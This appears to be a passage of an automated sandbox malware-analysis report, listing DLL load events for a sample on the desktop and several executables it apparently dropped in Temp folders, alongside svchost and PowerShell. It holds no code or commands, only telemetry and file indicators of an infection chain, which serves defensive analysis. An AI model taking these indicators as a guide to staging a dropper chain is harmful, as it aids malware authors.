Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: msi.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: dbgcore.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: slc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: cryptbase.dll
